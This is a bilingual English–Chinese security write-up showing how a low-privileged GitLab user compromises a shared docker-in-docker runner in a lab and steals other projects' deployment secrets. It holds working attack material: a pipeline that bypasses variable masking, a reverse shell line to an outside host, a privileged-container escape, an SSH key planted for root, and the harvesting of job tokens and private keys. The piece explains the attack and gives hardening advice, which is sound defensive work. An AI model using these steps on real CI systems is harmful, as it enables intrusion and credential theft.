CI/CD systems are often used for continuous deployment so that when the right things happen in the source repo, the code magically ends up built and deployed where it needs to be. Underneath all of this is usually a “runner”, which is responsible for doing the work. An attacker who can get their malicious pipeline executing on this runner can steal information for other work executing on the same runner, and subsequently gain access to production systems. This article is going to discuss practically carrying this attack out against a GitLab CI/CD environment.
CI/CD 系统通常用于持续部署,因此,当源代码存储库中发生正确的事情时,代码会神奇地最终构建并部署到需要的地方。在这一切之下,通常是一个“跑步者”,负责完成工作。如果攻击者可以让恶意管道在此运行器上执行,则可以窃取在同一运行器上执行的其他工作的信息,并随后获得对生产系统的访问权限。本文将讨论在 GitLab CI/CD 环境中实际执行此攻击。
If you’re not familiar with CI/CD, then this article is going to include a lot of jargon that likely won’t make a lot of sense. Red Hat wrote up a decent intro article on CI/CD and I suggest starting there to familiarise yourself with some of the concepts. GitLab also provide a list of common terms that will help make some of the specifics in this article clearer.
如果您不熟悉 CI/CD,那么本文将包含许多可能没有多大意义的行话。Red Hat 写了一篇关于 CI/CD 的不错的介绍文章,我建议从那里开始熟悉一些概念。GitLab 还提供了一个常用术语列表,这将有助于使本文中的一些细节更加清晰。
Coming the CHCon 2023? I’ll be presenting a talk about this very same topic.
即将到来的 CHCon 2023?我将就这个主题发表演讲。
BACKGROUND 背景
Let’s start with a high level diagram explaining a basic shared-runner attack. Here’s what the general infrastructure might look like: Two different staff members sharing a CI/CD system. An intern that only has access to a specific project, and a staff engineer that has access to the CoreProductionAPI which is our pretend organisation’s main product:
让我们从解释基本共享运行器攻击的高级图开始。下面是一般基础结构的样子:两个不同的员工共享一个 CI/CD 系统。一个实习生只能访问一个特定的项目,一个工程师可以访问CoreProductionAPI,这是我们假装组织的主要产品。
Let’s imagine we have an attacker who has compromised the intern (or we just hired a particularly malicious intern…). Using a malicious pipeline, this attacker can now compromise the shared runner which will continue to also be used to deploy the production system. Inevitably, this exposes production credentials to the attacker.
让我们想象一下,我们有一个攻击者破坏了实习生(或者我们只是雇用了一个特别恶意的实习生……使用恶意管道,该攻击者现在可以破坏共享运行器,该运行器也将继续用于部署生产系统。这不可避免地会向攻击者公开生产凭据。
Since one shared runner is used to execute both pipelines, the aim of the game for the attacker becomes determining how the pipelines are isolated from each other on that runner. Often, they aren’t.
由于一个共享运行器用于执行两个管道,因此攻击者的游戏目标变成了确定该运行器上的管道如何相互隔离。通常,事实并非如此。
No isolation between workloads in the runner means the attacker above can compromise that runner, deploy malware, and wait for a high-value job to execute. When a deployment-to-production-job eventually executes, the attacker extracts the credentials used to deploy into the production systems. Defending against this requires a runner (or executor, depending on which jargon you’re familiar with) configuration that isolates workloads. Standard SSH and shell-based executors rarely implement job isolation, and in the case of GitLab the docker-in-docker and Kubernetes executors require a configuration that inevitably allows an attacker to escape from the per-pipeline containers anyway. There are quite a few executor options to choose from, and each one will need poking at to determine the risks if used in a shared context.
运行器中的工作负载之间没有隔离,这意味着上述攻击者可以破坏该运行器,部署恶意软件,并等待高价值作业执行。当部署到生产作业最终执行时,攻击者会提取用于部署到生产系统的凭据。防御这种情况需要一个运行器(或执行器,取决于你熟悉的行话)配置来隔离工作负载。标准 SSH 和基于 shell 的执行程序很少实现作业隔离,在 GitLab 的情况下,docker-in-docker 和 Kubernetes 执行程序需要一种配置,该配置不可避免地允许攻击者从每个管道容器中逃脱。有相当多的执行器选项可供选择,如果在共享上下文中使用,每个选项都需要戳以确定风险。
Putting GitLab specifics aside for a minute… Attacking shared CI/CD runners that are used for both sensitive workloads (like production-deploying pipelines) and all other pipelines too is something Pulse has done a lot of as part of hacking DevOps infrastructure on behalf of clients. This shared runner issue is by no means a GitLab specific issue, and pretty much every other CI/CD platform we’ve looked at has suffered from the same issue when configured with a single runner to execute all pipelines.
把 GitLab 的细节放在一边一分钟……攻击用于敏感工作负载(如生产部署管道)和所有其他管道的共享 CI/CD 运行器是 Pulse 代表客户入侵 DevOps 基础设施的一部分。这个共享运行器问题绝不是 GitLab 特有的问题,我们研究过的几乎所有其他 CI/CD 平台在配置单个运行器来执行所有管道时都遇到了同样的问题。
In this article, we’re going to look at attacking the docker-in-docker
executor in GitLab. How to identify it, compromise it with a low-privileged user, escalate privileges and gain access to all other information going through that same runner.
在本文中,我们将探讨如何攻击 GitLab 中的 docker-in-docker
执行器。如何识别它,如何与低权限用户妥协,如何提升权限并访问通过同一运行器的所有其他信息。
A STANDARD POISONED PIPELINE
标准的中毒管道
Before diving into the docker-in-docker shared runner attacks, lets discuss a more traditional “Poisoned Pipeline” attack against GitLab. If a user is able to commit changes to the .gitlab_ci.yml
file in a repository, they can then control the pipeline and perform malicious actions using the runner. If the attacker can control the pipeline, they can extract credentials for anything the pipeline is responsible for deploying to. OWASP call this CICD-SEC-04 Poisoned Pipeline Execution. We’re not attacking the runner infrastructure here to gain further access to other projects just yet. If you’re already familiar with poisoned pipeline attacks, feel free to skip this section.
在深入研究 docker-in-docker 共享运行器攻击之前,让我们讨论一下针对 GitLab 的更传统的“Poisoned Pipeline”攻击。如果用户能够提交对存储库中 .gitlab_ci.yml
文件的更改,则他们可以控制管道并使用运行器执行恶意操作。如果攻击者可以控制管道,他们就可以提取管道负责部署到的任何内容的凭据。OWASP 将此称为 CICD-SEC-04 中毒管道执行。我们还没有攻击这里的运行器基础设施,以获得对其他项目的进一步访问。如果您已经熟悉中毒管道攻击,请随时跳过此部分。
Here’s a quick example of what that could look like. Jimbo, our intern analog, has Developer access under the DevStuff
group:
下面是一个快速的例子,说明它可能是什么样子。Jimbo,我们的实习生模拟,在以下 DevStuff
组下拥有开发人员访问权限:
Jimbo has access to the “SuperTechProject” since they’re a member of the correct group. They can push some code, change the “SuperTechProject” pipeline configuration, and extract the credentials used to deploy the system. This user has no permissions to view variable configuration or other CI/CD settings and is not ordinarily expected to be able to access the AWS secret keys used for deployment. Note that in the first screenshot, Jimbo cannot see the settings for the project in the UI.
Jimbo 可以访问“SuperTechProject”,因为他们是正确组的成员。他们可以推送一些代码,更改“SuperTechProject”管道配置,并提取用于部署系统的凭据。此用户无权查看变量配置或其他 CI/CD 设置,通常无法访问用于部署的 AWS 私有密钥。请注意,在第一个屏幕截图中,Jimbo 无法在 UI 中看到项目的设置。
The attack is relatively simple. Step one, fork the repository and create a new branch:
攻击相对简单。第一步,分叉存储库并创建一个新分支:
doi@koplje:~/src$ git clone [email protected]:devstuff/supertechproject.git
Cloning into 'supertechproject'...
remote: Enumerating objects: 7, done.
remote: Total 7 (delta 0), reused 0 (delta 0), pack-reused 7
Receiving objects: 100% (7/7), done.
doi@koplje:~/src$ git checkout -b jimbotest
fatal: not a git repository (or any of the parent directories): .git
doi@koplje:~/src$ cd supertechproject/
doi@koplje:~/src/supertechproject$ git checkout -b jimbotest
Switched to a new branch 'jimbotest'
doi@koplje:~/src/supertechproject$
Jimbo then modifies the pipeline to compress, base64 encode and then log the environment variables. He then goes ahead and pushes the new branch up:
然后,Jimbo 修改管道以压缩、base64 编码,然后记录环境变量。然后,他继续向上推新分支:
doi@koplje:~/src/supertechproject$ git diff
diff --git a/.gitlab-ci.yml b/.gitlab-ci.yml
index ec73d9b..b3ace78 100644
--- a/.gitlab-ci.yml
+++ b/.gitlab-ci.yml
@@ -3,9 +3,8 @@ image: alpine:latest
pages:
stage: deploy
script:
- - echo 'Nothing to do...'
+ - echo "You let me down, man! Now I don't believe in nothing! I'm going to law school!"
+ - env | gzip -c | base64 -w0; echo
artifacts:
paths:
- public
- only:
- - master
doi@koplje:~/src/supertechproject$ git commit -a -m 'pipeline mods'
[jimbotest 878eb35] pipeline mods
1 file changed, 2 insertions(+), 3 deletions(-)
doi@koplje:~/src/supertechproject$ git push origin jimbotest
Enumerating objects: 5, done.
Counting objects: 100% (5/5), done.
Delta compression using up to 4 threads
Compressing objects: 100% (3/3), done.
Writing objects: 100% (3/3), 477 bytes | 477.00 KiB/s, done.
Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
remote:
remote: To create a merge request for jimbotest, visit:
remote: https://gitlab.labnet.local/devstuff/supertechproject/-/merge_requests/new?merge_request%5Bsource_branch%5D=jimbotest
remote:
To gitlab.labnet.local:devstuff/supertechproject.git
* [new branch] jimbotest -> jimbotest
The new pipeline runs automatically, and Jimbo gets to see the output:
新管道自动运行,Jimbo 可以看到输出:
Jimbo can now copy the log, extract the environment and start looking for interesting variables:
Jimbo 现在可以复制日志,提取环境并开始寻找有趣的变量:
doi@koplje:~/src/supertechproject$ echo "H4sIAAAAAA...yoink...fuIAAA" | base64 -d | gunzip -c | grep SERVER
CI_SERVER_VERSION_PATCH=1
CI_SERVER_REVISION=55da9ccb652
CI_DEPENDENCY_PROXY_SERVER=gitlab.labnet.local:443
CI_SERVER_PROTOCOL=https
CI_SERVER_VERSION=16.5.1-ee
CI_SERVER_HOST=gitlab.labnet.local
CI_SERVER_VERSION_MAJOR=16
CI_SERVER_URL=https://gitlab.labnet.local
CI_SERVER_PORT=443
CI_SERVER_NAME=GitLab
CI_SERVER_VERSION_MINOR=5
CI_SERVER=yes
CI_SERVER_SHELL_SSH_HOST=gitlab.labnet.local
CI_SERVER_TLS_CA_FILE=/builds/devstuff/supertechproject.tmp/CI_SERVER_TLS_CA_FILE
CI_SERVER_SHELL_SSH_PORT=22
SERVER_NAME=devhouse.labnet.local
doi@koplje:~/src/supertechproject$ echo "H4sIAAAAAA...yoink...fuIAAA" | base64 -d | gunzip -c | grep AWS
AWS_ACCESS_KEY_ID=ExampleAccessKey
AWS_SECRET_ACCESS_KEY=ExampleSecretAccessKeyitsademoooooo
We used the gzip
-c | base64 -w0
trick to get past the environment variable masking which would normally hide these in the job log. In this case, we pull out the AWS credentials used to deploy the SuperTechProject
. Credit to the GitLab developers though, by default variables are now only available to protected branches, making the keys above only available in the main
brunch and ol’ mate Jimbo would need to have Maintainer permissions or the ability to push to the main
branch to execute this attack, unless that default was unchecked. With the default GitLab configuration we’d need to perform a more involved attack involving compromising the underlying runner. More on this soon…
我们使用这个 gzip
-c | base64 -w0
技巧来绕过环境变量掩码,该掩码通常会在作业日志中隐藏这些内容。在本例中,我们提取用于部署 SuperTechProject
.不过,这要归功于 GitLab 开发人员,默认情况下变量现在只对受保护的分支可用,这使得上面的键只在 main
早午餐中可用,而 Jimbo 需要具有维护者权限或推送到 main
分支的能力才能执行此攻击,除非该默认值未选中。使用默认的 GitLab 配置,我们需要执行更复杂的攻击,包括破坏底层运行器。更多内容即将发布…
One way or another, Jimbo had to have some level of access to the repository to be able to pull off a poisoned pipeline attack. There are various ways to protect against this attack. Restricting push access to a handful of trusted users and preventing the wider GitLab user-base from committing code to the repository, for example. This can further be hardened using protected branches and protected variables and keeping the list of project Maintainer users as tight as possible. The attacker would then need to compromise a specific user with sufficient permissions to push to the main
or equivalent protected branch before being able to access keys for production. At the time of writing, new CI variables per-project default to only being available from protected branches, but new runners will execute on all branches by default.
不管怎样,Jimbo 必须对存储库有一定程度的访问权限,才能发起中毒管道攻击。有多种方法可以防止这种攻击。例如,将推送访问限制为少数受信任的用户,并阻止更广泛的 GitLab 用户群将代码提交到存储库。这可以使用受保护的分支和受保护的变量进一步加强,并尽可能保持项目维护者用户列表的紧密性。然后,攻击者需要破坏具有足够权限的特定用户,以推送到 main
或等效的受保护分支,然后才能访问用于生产的密钥。在撰写本文时,每个项目的新 CI 变量默认仅可从受保护的分支获得,但默认情况下,新的运行器将在所有分支上执行。
Getting this hardening right can be tricky. Testing after changes have been made and putting yourself in the shoes of an attacker is a good way to start determining whether the configuration is robust from a security hardening perspective.
正确地进行这种强化可能很棘手。在进行更改后进行测试并设身处地为攻击者着想,是从安全强化的角度开始确定配置是否可靠的好方法。
With that bit of background out of the way, we can move onto….
有了这些背景知识,我们就可以继续了……
SHARED DOCKER-IN-DOCKER RUNNERS AND PRIVILEGED CONTAINERS
共享 DOCKER-IN-DOCKER 运行器和特权容器
GitLab supports shared runners, which are available by default to every project. This removes the requirements for the attacker to have access to a specific repo to carry out attacks. If a shared runner is available, then an attacker with any access to GitLab can create a personal repository and start to attack the runner infrastructure. This is what we’re going to walk through next, and the core issue presented in this article.
GitLab 支持共享运行器,默认情况下每个项目都可以使用。这消除了攻击者有权访问特定存储库以执行攻击的要求。如果共享运行器可用,则对 GitLab 具有任何访问权限的攻击者可以创建个人存储库并开始攻击运行器基础设施。这就是我们接下来要介绍的内容,也是本文中提出的核心问题。
Additionally, GitLab runners support “docker-in-docker” (DIND), a mechanism that allows you to build containers directly inside GitLab pipelines (https://docs.gitlab.com/ee/ci/docker/using_docker_build.html). This requires the container to be run in Privileged mode, and when combined with Instance-level runner configuration effectively allows any user to compromise the runner docker infrastructure and gain access to all information and secrets for any project which uses that runner.
此外,GitLab 运行器支持“docker-in-docker”(DIND),这是一种允许您直接在 GitLab 管道 (https://docs.gitlab.com/ee/ci/docker/using_docker_build.html) 中构建容器的机制。这要求容器在特权模式下运行,当与实例级运行器配置结合使用时,可以有效地允许任何用户破坏运行器docker基础设施,并访问使用该运行器的任何项目的所有信息和机密。
We’ve come across docker-in-docker runners and Kubernetes runners a few times in-the-wild so far, and both DIND and Kubernetes runners were configured to run in Privileged mode by default. Running containers in Privileged mode effectively disables any sandboxing protections offered by docker, and there are a bunch of ways to bust out of a privileged container.
到目前为止,我们已经在野外遇到过几次 docker-in-docker 运行器和 Kubernetes 运行器,并且 DIND 和 Kubernetes 运行器都默认配置为在特权模式下运行。在特权模式下运行容器可以有效地禁用 docker 提供的任何沙盒保护,并且有很多方法可以破坏特权容器。
THE SHARED INSTANCE-LEVEL RUNNER
GitLab supports configuring runners at multiple levels. A runner can be exposed to the whole GitLab instance, a specific group or a specific project. As an instance-level runner can be accessed by any project, a malicious user can create a new personal project and execute a malicious pipeline to attack the runner infrastructure. If this runner is used for other deployments, we now have an exploitable condition. This is the core issue we’ll be discussing.
The following screenshot shows the default runner configuration after following the GitLab documentation for configuring a DIND runner/executor:
You’d figure enabling protected branches would help here; but remember, we’re creating a new personal repository as the attacker so in this instance the attacker has control of the main
branch.
您会认为启用受保护的分支会有所帮助;但请记住,我们正在创建一个新的个人存储库作为攻击者,因此在这种情况下,攻击者可以控制分支 main
。
ATTACKING DOCKER-IN-DOCKER SHARED RUNNERS
攻击 DOCKER-IN-DOCKER 共享运行器
Fundamentally: a shared instance-level runner can be attacked by any user with GitLab access that can create a repository, including a personal repository. This section is going to explain compromising the runner, escaping the docker container and gaining access to other pipelines which may be executing. The process roughly consists of:
从根本上说:共享实例级运行器可以被任何具有 GitLab 访问权限的用户攻击,这些用户可以创建存储库,包括个人存储库。本节将解释如何破坏运行器、转义 docker 容器以及访问可能正在执行的其他管道。该过程大致包括:
- Executing malicious code to gain access to the runner container.
执行恶意代码以获取对运行器容器的访问权限。 - Escaping the runner container to gain access to the underlying host.
转义运行器容器以获取对底层主机的访问权限。 - Monitoring the processes on the underlying host, waiting for a high-value pipeline to execute.
监视底层主机上的进程,等待高价值管道执行。 - Extract access tokens from the high-value pipeline’s environment or filesystem.
从高价值管道的环境或文件系统中提取访问令牌。
Let’s go back to our low-privileged user, Jimbo Jones, and create a personal project called “testproject”. We can then inspect the available runners in the project settings:
让我们回到我们的低权限用户 Jimbo Jones,并创建一个名为“testproject”的个人项目。然后,我们可以在项目设置中检查可用的运行器:
We can then create a malicious pipeline to execute a reverse shell inside the runner and begin our path to compromise. Jimbo creates the following .
gitlab-ci.yml
file in the testproject
repo:
然后,我们可以创建一个恶意管道来在运行器内执行反向 shell,并开始我们的妥协之路。Jimbo 在 testproject
存储库中创建以下 .
gitlab-ci.yml
文件:
stages:
- build
build-job:
image:
name: debian:latest
stage: build
script:
- echo "Compiling the code..."
- echo "Compile complete."
- bash -i >& /dev/tcp/192.168.200.225/4321 0>&1
You could do this directly in the GitLab UI with the pipeline editor as follows:
您可以直接在 GitLab UI 中使用管道编辑器执行此操作,如下所示:
When the pipeline executes, we obtain our reverse shell:
当流水线执行时,我们得到反向 shell:
doi@koplje:~$ nc -vv -k -l -p 4321
listening on [any] 4321 ...
connect to [192.168.200.225] from omgcicd.labnet.local [192.168.200.10] 47124
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@runner-ygo5xzkg-project-7-concurrent-0:/builds/jimbo/testproject# id
id
uid=0(root) gid=0(root) groups=0(root)
We can confirm that we’re in a privileged container by taking a look at which block devices are available to our container through /dev
. You’ll note from the /proc/mounts
file that this host was using lvm
on the host to manage block devices. We don’t even need to install lvm
tools, we just need to mount the correct /dev/dm
device to get access to the underlying host’s file system. Here we’re breaking out of the container after doing some initial reconnaissance around mounts and network interfaces:
我们可以通过以下方式 /dev
查看哪些块设备可供我们的容器使用,从而确认我们是否处于特权容器中。您将从 /proc/mounts
文件中注意到,此主机 lvm
在主机上使用该主机来管理块设备。我们甚至不需要安装 lvm
工具,我们只需要挂载正确的 /dev/dm
设备即可访问底层主机的文件系统。在这里,我们在围绕挂载和网络接口进行了一些初步侦察后,将突破容器:
root@runner-ygo5xzkg-project-7-concurrent-0:/builds/jimbo/testproject# cat /proc/net/fib_trie
<0:/builds/jimbo/testproject# cat /proc/net/fib_trie
Main:
+-- 0.0.0.0/0 3 0 5
|-- 0.0.0.0
/0 universe UNICAST
+-- 127.0.0.0/8 2 0 2
+-- 127.0.0.0/31 1 0 0
|-- 127.0.0.0
/8 host LOCAL
|-- 127.0.0.1
/32 host LOCAL
|-- 127.255.255.255
/32 link BROADCAST
+-- 172.17.0.0/16 2 0 2
+-- 172.17.0.0/29 2 0 2
|-- 172.17.0.0
/16 link UNICAST
|-- 172.17.0.4
/32 host LOCAL
|-- 172.17.255.255
/32 link BROADCAST
Local:
+-- 0.0.0.0/0 3 0 5
|-- 0.0.0.0
/0 universe UNICAST
+-- 127.0.0.0/8 2 0 2
+-- 127.0.0.0/31 1 0 0
|-- 127.0.0.0
/8 host LOCAL
|-- 127.0.0.1
/32 host LOCAL
|-- 127.255.255.255
/32 link BROADCAST
+-- 172.17.0.0/16 2 0 2
+-- 172.17.0.0/29 2 0 2
|-- 172.17.0.0
/16 link UNICAST
|-- 172.17.0.4
/32 host LOCAL
|-- 172.17.255.255
/32 link BROADCAST
root@runner-ygo5xzkg-project-7-concurrent-0:/builds/jimbo/testproject# cat /proc/net/route
<nt-0:/builds/jimbo/testproject# cat /proc/net/route
Iface Destination Gateway Flags RefCnt Use Metric Mask MTU Window IRTT
eth0 00000000 010011AC 0003 0 0 0 00000000 0 0 0
eth0 000011AC 00000000 0001 0 0 0 0000FFFF 0 0 0
root@runner-ygo5xzkg-project-7-concurrent-0:/builds/jimbo/testproject# cat /proc/mounts
<rrent-0:/builds/jimbo/testproject# cat /proc/mounts
overlay / overlay rw,relatime,lowerdir=/var/lib/docker/overlay2/l/QHFMWX3WZXYJ5WDM4WTTHHK4MO:/var/lib/docker/overlay2/l/UNEAJTPSYKR5EWT7ER37DW2IJM,upperdir=/var/lib/docker/overlay2/2e4eb14f618f67a0443ae7e16dbaf9b15f078540d1482b08367030703373a98f/diff,workdir=/var/lib/docker/overlay2/2e4eb14f618f67a0443ae7e16dbaf9b15f078540d1482b08367030703373a98f/work 0 0
proc /proc proc rw,nosuid,nodev,noexec,relatime 0 0
tmpfs /dev tmpfs rw,nosuid,size=65536k,mode=755,inode64 0 0
devpts /dev/pts devpts rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666 0 0
sysfs /sys sysfs rw,nosuid,nodev,noexec,relatime 0 0
cgroup /sys/fs/cgroup cgroup2 rw,nosuid,nodev,noexec,relatime,nsdelegate,memory_recursiveprot 0 0
mqueue /dev/mqueue mqueue rw,nosuid,nodev,noexec,relatime 0 0
shm /dev/shm tmpfs rw,nosuid,nodev,noexec,relatime,size=65536k,inode64 0 0
/dev/mapper/OMGCICD--vg-root /cache ext4 rw,relatime,errors=remount-ro 0 0
/dev/mapper/OMGCICD--vg-root /builds ext4 rw,relatime,errors=remount-ro 0 0
/dev/mapper/OMGCICD--vg-root /certs/client ext4 rw,relatime,errors=remount-ro 0 0
/dev/mapper/OMGCICD--vg-root /etc/resolv.conf ext4 rw,relatime,errors=remount-ro 0 0
/dev/mapper/OMGCICD--vg-root /etc/hostname ext4 rw,relatime,errors=remount-ro 0 0
/dev/mapper/OMGCICD--vg-root /etc/hosts ext4 rw,relatime,errors=remount-ro 0 0
root@runner-ygo5xzkg-project-7-concurrent-0:/builds/jimbo/testproject# mount /dev/dm-0 /mnt/
<-0:/builds/jimbo/testproject# mount /dev/dm-0 /mnt/
root@runner-ygo5xzkg-project-7-concurrent-0:/builds/jimbo/testproject# ls -l /mnt
<-concurrent-0:/builds/jimbo/testproject# ls -l /mnt
total 76
lrwxrwxrwx 1 root root 7 Nov 13 23:49 bin -> usr/bin
drwxr-xr-x 2 root root 4096 Nov 13 23:49 boot
drwxr-xr-x 4 root root 4096 Nov 13 23:49 dev
drwxr-xr-x 73 root root 4096 Nov 14 01:17 etc
drwxr-xr-x 3 root root 4096 Nov 14 00:23 home
lrwxrwxrwx 1 root root 30 Nov 13 23:50 initrd.img -> boot/initrd.img-6.1.0-13-amd64
lrwxrwxrwx 1 root root 30 Nov 13 23:50 initrd.img.old -> boot/initrd.img-6.1.0-13-amd64
lrwxrwxrwx 1 root root 7 Nov 13 23:49 lib -> usr/lib
lrwxrwxrwx 1 root root 9 Nov 13 23:49 lib32 -> usr/lib32
lrwxrwxrwx 1 root root 9 Nov 13 23:49 lib64 -> usr/lib64
lrwxrwxrwx 1 root root 10 Nov 13 23:49 libx32 -> usr/libx32
drwx------ 2 root root 16384 Nov 13 23:49 lost+found
drwxr-xr-x 3 root root 4096 Nov 13 23:49 media
drwxr-xr-x 2 root root 4096 Nov 13 23:49 mnt
drwxr-xr-x 3 root root 4096 Nov 14 00:42 opt
drwxr-xr-x 2 root root 4096 Sep 29 20:04 proc
drwx------ 4 root root 4096 Nov 14 10:20 root
drwxr-xr-x 2 root root 4096 Nov 14 00:25 run
lrwxrwxrwx 1 root root 8 Nov 13 23:49 sbin -> usr/sbin
drwxr-xr-x 4 root root 4096 Nov 14 01:50 srv
drwxr-xr-x 2 root root 4096 Sep 29 20:04 sys
drwxrwxrwt 8 root root 4096 Nov 15 03:26 tmp
drwxr-xr-x 14 root root 4096 Nov 13 23:49 usr
drwxr-xr-x 11 root root 4096 Nov 13 23:49 var
lrwxrwxrwx 1 root root 27 Nov 13 23:50 vmlinuz -> boot/vmlinuz-6.1.0-13-amd64
lrwxrwxrwx 1 root root 27 Nov 13 23:50 vmlinuz.old -> boot/vmlinuz-6.1.0-13-amd64
Now that we have root access to the underlying host’s file system, there are a few ways to gain further access. In this case, we’ll drop an SSH key into the root user and SSH into the host. You may need to tinker with the SSH daemon configuration as well if your host doesn’t have SSH enabled for the root user already:
现在,我们已经拥有了对底层主机文件系统的 root 访问权限,有几种方法可以获得进一步的访问权限。在本例中,我们将向 root 用户发送一个 SSH 密钥,并将 SSH 发送到主机。如果您的主机尚未为 root 用户启用 SSH,您可能还需要修改 SSH 守护程序配置:
root@runner-ygo5xzkg-project-7-concurrent-0:/builds/jimbo/testproject# ls -l /mnt/root
<urrent-0:/builds/jimbo/testproject# ls -l /mnt/root
total 133716
-rw-r--r-- 1 root root 136922455 Nov 14 10:20 srv-backup-231114.tar.gz
root@runner-ygo5xzkg-project-7-concurrent-0:/builds/jimbo/testproject# ls -la /mnt/root/
<rent-0:/builds/jimbo/testproject# ls -la /mnt/root/
total 133756
drwx------ 4 root root 4096 Nov 14 10:20 .
drwxr-xr-x 18 root root 4096 Nov 14 01:22 ..
-rw------- 1 root root 10363 Nov 14 20:43 .bash_history
-rw-r--r-- 1 root root 571 Apr 10 2021 .bashrc
-rw------- 1 root root 33 Nov 14 02:39 .lesshst
drwxr-xr-x 3 root root 4096 Nov 14 00:31 .local
-rw-r--r-- 1 root root 161 Jul 9 2019 .profile
drwx------ 2 root root 4096 Nov 14 05:53 .ssh
-rw-r--r-- 1 root root 136922455 Nov 14 10:20 srv-backup-231114.tar.gz
root@runner-ygo5xzkg-project-7-concurrent-0:/builds/jimbo/testproject# echo "ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKst1XTIXXMHdMpn/pW3mF+FRpbxYSCnmq40SUupfdre5ZiIUtaVmL+gJF9mGfUCIfy70c2XVyBqS82FKrOIINs=" >> /mnt/root/.ssh/authorized_keys
<VyBqS82FKrOIINs=" >> /mnt/root/.ssh/authorized_keys
At this point we can either SSH directly into the underlying docker host if we have network connectivity, or pivot to the host from the container by connecting to 172.17.0.1
using our reverse shell. I prefer to connect directly or drop some form of trojan into the base OS then exit my reverse shell. This is because we don’t want to chew up the available runner execution slots in GitLab for longer than we have to. In this case, I have direct connectivity from my attacker machine to GitLab and can SSH in:
此时,如果我们有网络连接,我们可以直接通过 SSH 连接到底层 docker 主机,或者 172.17.0.1
通过使用反向 shell 连接到容器来透视主机。我更喜欢直接连接或将某种形式的特洛伊木马放入基本操作系统中,然后退出我的反向shell。这是因为我们不想占用 GitLab 中可用的运行器执行槽的时间超过我们必须的时间。在这种情况下,我可以从攻击者的计算机直接连接到 GitLab,并且可以在以下位置通过 SSH 连接:
:~$ ssh -l root omgcicd.labnet.local
Linux OMGCICD 6.1.0-13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.55-1 (2023-09-29) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Nov 14 23:39:58 2023 from 192.168.200.225
root@OMGCICD:~# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
d2599aa03574 fd7391105260 "sh -c 'if [ -x /usr…" 10 minutes ago Up 10 minutes runner-ygo5xzkg-project-7-concurrent-0-962f2e14b635e7f3-build
db4b2d2c4c48 gitlab/gitlab-runner:latest "/usr/bin/dumb-init …" 23 hours ago Up 5 hours gitlab-runner
727fd5aafb2d gitlab/gitlab-ee:latest "/assets/wrapper" 26 hours ago Up 5 hours (healthy) 0.0.0.0:80->80/tcp, :::80->80/tcp, 0.0.0.0:443->443/tcp, :::443->443/tcp, 0.0.0.0:8022->22/tcp, :::8022->22/tcp gitlab
In this case gitlab
-runner
and the GitLab server are being run on the same docker host, ruh roh! We could now compromise the GitLab server itself and provision ourselves admin access, but that’s not what we’re here to talk about…
在这种情况下 gitlab
-runner
,GitLab 服务器运行在同一个 docker 主机上,ruh roh!我们现在可以破坏 GitLab 服务器本身并为自己提供管理员访问权限,但这不是我们在这里要谈论的……
From the shared-runner perspective, now it’s a case of just waiting for something cool to get deployed! We wait, monitor, and steal environment variables…
从共享运行器的角度来看,现在的情况只是等待一些很酷的东西被部署!我们等待、监控和窃取环境变量……
root@OMGCICD:~# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
399a8352fbb8 fd7391105260 "sh -c 'if [ -x /usr…" 1 second ago Up Less than a second runner-ygo5xzkg-project-5-concurrent-0-8868c3698bf01be4-build
db4b2d2c4c48 gitlab/gitlab-runner:latest "/usr/bin/dumb-init …" 23 hours ago Up 5 hours gitlab-runner
727fd5aafb2d gitlab/gitlab-ee:latest "/assets/wrapper" 26 hours ago Up 5 hours (healthy) 0.0.0.0:80->80/tcp, :::80->80/tcp, 0.0.0.0:443->443/tcp, :::443->443/tcp, 0.0.0.0:8022->22/tcp, :::8022->22/tcp gitlab
root@OMGCICD:~# # Project 5 looks good!! Jimbo's malicious project was Project 7....
root@OMGCICD:~# docker exec 399a8352fbb8 env
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
HOSTNAME=runner-ygo5xzkg-project-5-concurrent-0
...yoink...
CI_PIPELINE_ID=36
CI_PIPELINE_URL=https://gitlab.labnet.local/prodstuff/web/-/pipelines/36
CI_JOB_ID=50
CI_JOB_URL=https://gitlab.labnet.local/prodstuff/web/-/jobs/50
CI_JOB_TOKEN=64_MDWox2cGmytA8YwNMK2f
CI_JOB_STARTED_AT=2023-11-15T03:37:29Z
CI_REGISTRY_USER=gitlab-ci-token
CI_REGISTRY_PASSWORD=64_MDWox2cGmytA8YwNMK2f
CI_REPOSITORY_URL=https://gitlab-ci-token:[email protected]/prodstuff/web.git
CI_DEPENDENCY_PROXY_USER=gitlab-ci-token
CI_DEPENDENCY_PROXY_PASSWORD=64_MDWox2cGmytA8YwNMK2f
CI_JOB_JWT=eyJraWQiOiJLV2xsRXFiYk...yoink...dkxQ
CI_JOB_JWT_V1=eyJraWQiOiJLV2xsRXF...yoink...kxQ
CI_JOB_JWT_V2=eyJraWQiOiJLV2xsRXF...yoink...VgCd-Gsw
CI_JOB_NAME=deploy-job
CI_JOB_NAME_SLUG=deploy-job
CI_JOB_STAGE=deploy
CI_PIPELINE_TRIGGERED=true
CI_NODE_TOTAL=1
CI=true
GITLAB_CI=true
CI_SERVER_URL=https://gitlab.labnet.local
CI_SERVER_HOST=gitlab.labnet.local
...yoink...
GITLAB_USER_ID=3
[email protected]
GITLAB_USER_LOGIN=imogene
GITLAB_USER_NAME=Imogene McDevface
PRIVATE_KEY=LS0tLS1CR...yoink...S0K
SERVER_NAME=prod.labnet.local
TRIGGER_PAYLOAD={"ref":"main","id":"5","variables":{}}
CI_DISPOSABLE_ENVIRONMENT=true
CI_RUNNER_VERSION=16.5.0
CI_RUNNER_REVISION=853330f9
CI_RUNNER_EXECUTABLE_ARCH=linux/amd64
RUNNER_TEMP_PROJECT_DIR=/builds/prodstuff/web.tmp
HOME=/root
This looks hopeful! It’s the pipeline for prodstuff
/web
, being run by our privileged engineer Imogene. The SERVER_NAME
and PRIVATE_KEY
